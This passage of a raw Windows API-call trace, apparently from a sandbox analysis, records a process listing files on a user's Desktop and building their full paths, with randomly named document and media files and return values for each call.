lpString2="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi" [0123.926] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.926] lstrcmpW (lpString1="BFKe0nWJ-uX glTw7h99.wav", lpString2=".") returned 1 [0123.926] lstrcmpW (lpString1="BFKe0nWJ-uX glTw7h99.wav", lpString2="..") returned 1 [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.927] lstrlenW (lpString="BFKe0nWJ-uX glTw7h99.wav") returned 24 [0123.927] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="BFKe0nWJ-uX glTw7h99.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav" [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav") returned 50 [0123.927] lstrcpyW (in: lpString1=0x24b5050, lpString2="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav" [0123.927] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.927] lstrcmpW (lpString1="C9uT6lYTwIA.xlsx", lpString2=".") returned 1 [0123.927] lstrcmpW (lpString1="C9uT6lYTwIA.xlsx", lpString2="..") returned 1 [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.927] lstrlenW (lpString="C9uT6lYTwIA.xlsx") returned 16 [0123.927] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="C9uT6lYTwIA.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx") returned="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx" [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx") returned 42 [0123.927] lstrcpyW (in: lpString1=0x24bacd0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx") returned="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx" [0123.927] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.927] lstrcmpW (lpString1="cISVwXWmuvNvNDM.jpg", lpString2=".") returned 1 [0123.927] lstrcmpW (lpString1="cISVwXWmuvNvNDM.jpg", lpString2="..") returned 1 [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.927] lstrlenW (lpString="cISVwXWmuvNvNDM.jpg") returned 19 [0123.927] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="cISVwXWmuvNvNDM.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg" [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg") returned 45 [0123.927] lstrcpyW (in: lpString1=0x24bad30, lpString2="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg" [0123.927] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.927] lstrcmpW (lpString1="cp16RO_.mp4", lpString2=".") returned 1 [0123.927] lstrcmpW (lpString1="cp16RO_.mp4", lpString2="..") returned 1 [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.927] lstrlenW (lpString="cp16RO_.mp4") returned 11 [0123.927] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="cp16RO_.mp4" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4") returned="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4" [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4") returned 37 [0123.927] lstrcpyW (in: lpString1=0x24bad98, lpString2="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4") returned="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4" [0123.927] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.927] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.927] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.927] lstrlenW (lpString="desktop.ini") returned 11 [0123.927] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini" [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned 37 [0123.927] lstrcpyW (in: lpString1=0x24badf0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini" [0123.927] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.927] lstrcmpW (lpString1="DMWUzQLjb06L.flv", lpString2=".") returned 1 [0123.927] lstrcmpW (lpString1="DMWUzQLjb06L.flv", lpString2="..") returned 1 [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.927] lstrlenW (lpString="DMWUzQLjb06L.flv") returned 16 [0123.927] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="DMWUzQLjb06L.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv" [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv") returned 42 [0123.927] lstrcpyW (in: lpString1=0x24bae48, lpString2="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv" [0123.927] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.927] lstrcmpW (lpString1="fcG74r-hLZX8KpasEjR.xls", lpString2=".") returned 1 [0123.927] lstrcmpW (lpString1="fcG74r-hLZX8KpasEjR.xls", lpString2="..") returned 1 [0123.927] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.927] lstrlenW (lpString="fcG74r-hLZX8KpasEjR.xls") returned 23 [0123.927] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="fcG74r-hLZX8KpasEjR.xls" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls") returned="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls" [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls") returned 49 [0123.928] lstrcpyW (in: lpString1=0x24b50c0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls") returned="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls" [0123.928] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.928] lstrcmpW (lpString1="fEub.wav", lpString2=".") returned 1 [0123.928] lstrcmpW (lpString1="fEub.wav", lpString2="..") returned 1 [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.928] lstrlenW (lpString="fEub.wav") returned 8 [0123.928] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="fEub.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav" [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav") returned 34 [0123.928] lstrcpyW (in: lpString1=0x24baea8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav" [0123.928] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.928] lstrcmpW (lpString1="fIE0hH.mp3", lpString2=".") returned 1 [0123.928] lstrcmpW (lpString1="fIE0hH.mp3", lpString2="..") returned 1 [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.928] lstrlenW (lpString="fIE0hH.mp3") returned 10 [0123.928] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="fIE0hH.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3" [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3") returned 36 [0123.928] lstrcpyW (in: lpString1=0x24baef8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3" [0123.928] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.928] lstrcmpW (lpString1="Fl_cD2j6qBLGAZWA2SQL.odp", lpString2=".") returned 1 [0123.928] lstrcmpW (lpString1="Fl_cD2j6qBLGAZWA2SQL.odp", lpString2="..") returned 1 [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.928] lstrlenW (lpString="Fl_cD2j6qBLGAZWA2SQL.odp") returned 24 [0123.928] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Fl_cD2j6qBLGAZWA2SQL.odp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp") returned="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp" [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp") returned 50 [0123.928] lstrcpyW (in: lpString1=0x24b5130, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp") returned="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp" [0123.928] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.928] lstrcmpW (lpString1="GSiecs ARL59i.pps", lpString2=".") returned 1 [0123.928] lstrcmpW (lpString1="GSiecs ARL59i.pps", lpString2="..") returned 1 [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.928] lstrlenW (lpString="GSiecs ARL59i.pps") returned 17 [0123.928] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="GSiecs ARL59i.pps" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps") returned="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps" [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps") returned 43 [0123.928] lstrcpyW (in: lpString1=0x24baf50, lpString2="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps") returned="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps" [0123.928] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.928] lstrcmpW (lpString1="gt_ueLv0.rtf", lpString2=".") returned 1 [0123.928] lstrcmpW (lpString1="gt_ueLv0.rtf", lpString2="..") returned 1 [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.928] lstrlenW (lpString="gt_ueLv0.rtf") returned 12 [0123.928] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="gt_ueLv0.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf" [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf") returned 38 [0123.928] lstrcpyW (in: lpString1=0x24bafb0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf" [0123.928] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.928] lstrcmpW (lpString1="i92xqrOtuyGPP.png", lpString2=".") returned 1 [0123.928] lstrcmpW (lpString1="i92xqrOtuyGPP.png", lpString2="..") returned 1 [0123.928] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.928] lstrlenW (lpString="i92xqrOtuyGPP.png") returned 17 [0123.928] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="i92xqrOtuyGPP.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png") returned="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png" [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png") returned 43 [0123.929] lstrcpyW (in: lpString1=0x24bb008, lpString2="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png") returned="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png" [0123.929] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.929] lstrcmpW (lpString1="ihknzkjo.doc", lpString2=".") returned 1 [0123.929] lstrcmpW (lpString1="ihknzkjo.doc", lpString2="..") returned 1 [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.929] lstrlenW (lpString="ihknzkjo.doc") returned 12 [0123.929] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="ihknzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 38 [0123.929] lstrcpyW (in: lpString1=0x24bb068, lpString2="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" [0123.929] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.929] lstrcmpW (lpString1="Iq3XvyyaEWO13.mp3", lpString2=".") returned 1 [0123.929] lstrcmpW (lpString1="Iq3XvyyaEWO13.mp3", lpString2="..") returned 1 [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.929] lstrlenW (lpString="Iq3XvyyaEWO13.mp3") returned 17 [0123.929] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Iq3XvyyaEWO13.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3" [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3") returned 43 [0123.929] lstrcpyW (in: lpString1=0x24bb0c0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3" [0123.929] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.929] lstrcmpW (lpString1="j6DZIy9vQbux5.ppt", lpString2=".") returned 1 [0123.929] lstrcmpW (lpString1="j6DZIy9vQbux5.ppt", lpString2="..") returned 1 [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.929] lstrlenW (lpString="j6DZIy9vQbux5.ppt") returned 17 [0123.929] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="j6DZIy9vQbux5.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt" [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt") returned 43 [0123.929] lstrcpyW (in: lpString1=0x24bb120, lpString2="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt" [0123.929] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.929] lstrcmpW (lpString1="KhpA.jpg", lpString2=".") returned 1 [0123.929] lstrcmpW (lpString1="KhpA.jpg", lpString2="..") returned 1 [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.929] lstrlenW (lpString="KhpA.jpg") returned 8 [0123.929] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="KhpA.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg" [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg") returned 34 [0123.929] lstrcpyW (in: lpString1=0x24bb180, lpString2="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg" [0123.929] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.929] lstrcmpW (lpString1="kiam-z8FT.png", lpString2=".") returned 1 [0123.929] lstrcmpW (lpString1="kiam-z8FT.png", lpString2="..") returned 1 [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.929] lstrlenW (lpString="kiam-z8FT.png") returned 13 [0123.929] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="kiam-z8FT.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png") returned="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png" [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png") returned 39 [0123.929] lstrcpyW (in: lpString1=0x24bb1d0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png") returned="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png" [0123.929] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.929] lstrcmpW (lpString1="M Py5Nq8", lpString2=".") returned 1 [0123.929] lstrcmpW (lpString1="M Py5Nq8", lpString2="..") returned 1 [0123.929] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.929] lstrlenW (lpString="M Py5Nq8") returned 8 [0123.929] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="M Py5Nq8" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\M Py5Nq8") returned="c:\\Users\\aETAdzjz\\Desktop\\M Py5Nq8" [0123.929] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.929] lstrcmpW (lpString1="Q6O2n7WwKPR.bmp", lpString2=".") returned 1 [0123.929] lstrcmpW (lpString1="Q6O2n7WwKPR.bmp", lpString2="..") returned 1 [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.930] lstrlenW (lpString="Q6O2n7WwKPR.bmp") returned 15 [0123.930] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Q6O2n7WwKPR.bmp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp") returned="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp" [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp") returned 41 [0123.930] lstrcpyW (in: lpString1=0x24bb228, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp") returned="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp" [0123.930] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.930] lstrcmpW (lpString1="RL27mS.mkv", lpString2=".") returned 1 [0123.930] lstrcmpW (lpString1="RL27mS.mkv", lpString2="..") returned 1 [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.930] lstrlenW (lpString="RL27mS.mkv") returned 10 [0123.930] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="RL27mS.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv" [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv") returned 36 [0123.930] lstrcpyW (in: lpString1=0x24bb288, lpString2="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv" [0123.930] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.930] lstrcmpW (lpString1="Sa--KaU.pptx", lpString2=".") returned 1 [0123.930] lstrcmpW (lpString1="Sa--KaU.pptx", lpString2="..") returned 1 [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.930] lstrlenW (lpString="Sa--KaU.pptx") returned 12 [0123.930] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Sa--KaU.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx") returned="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx" [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx") returned 38 [0123.930] lstrcpyW (in: lpString1=0x24bb2e0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx") returned="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx" [0123.930] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.930] lstrcmpW (lpString1="s_XSUWu8QQnZOg4V9zrx.mkv", lpString2=".") returned 1 [0123.930] lstrcmpW (lpString1="s_XSUWu8QQnZOg4V9zrx.mkv", lpString2="..") returned 1 [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.930] lstrlenW (lpString="s_XSUWu8QQnZOg4V9zrx.mkv") returned 24 [0123.930] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="s_XSUWu8QQnZOg4V9zrx.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv" [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv") returned 50 [0123.930] lstrcpyW (in: lpString1=0x24b51a0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv" [0123.930] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.930] lstrcmpW (lpString1="uTQTV2mVPN8RQx.ppt", lpString2=".") returned 1 [0123.930] lstrcmpW (lpString1="uTQTV2mVPN8RQx.ppt", lpString2="..") returned 1 [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.930] lstrlenW (lpString="uTQTV2mVPN8RQx.ppt") returned 18 [0123.930] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="uTQTV2mVPN8RQx.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt" [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt") returned 44 [0123.930] lstrcpyW (in: lpString1=0x24bb338, lpString2="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt" [0123.930] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.930] lstrcmpW (lpString1="U_x855jOMDYCkkuEDF4Y.jpg", lpString2=".") returned 1 [0123.930] lstrcmpW (lpString1="U_x855jOMDYCkkuEDF4Y.jpg", lpString2="..") returned 1 [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.930] lstrlenW (lpString="U_x855jOMDYCkkuEDF4Y.jpg") returned 24 [0123.930] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="U_x855jOMDYCkkuEDF4Y.jpg" | out: 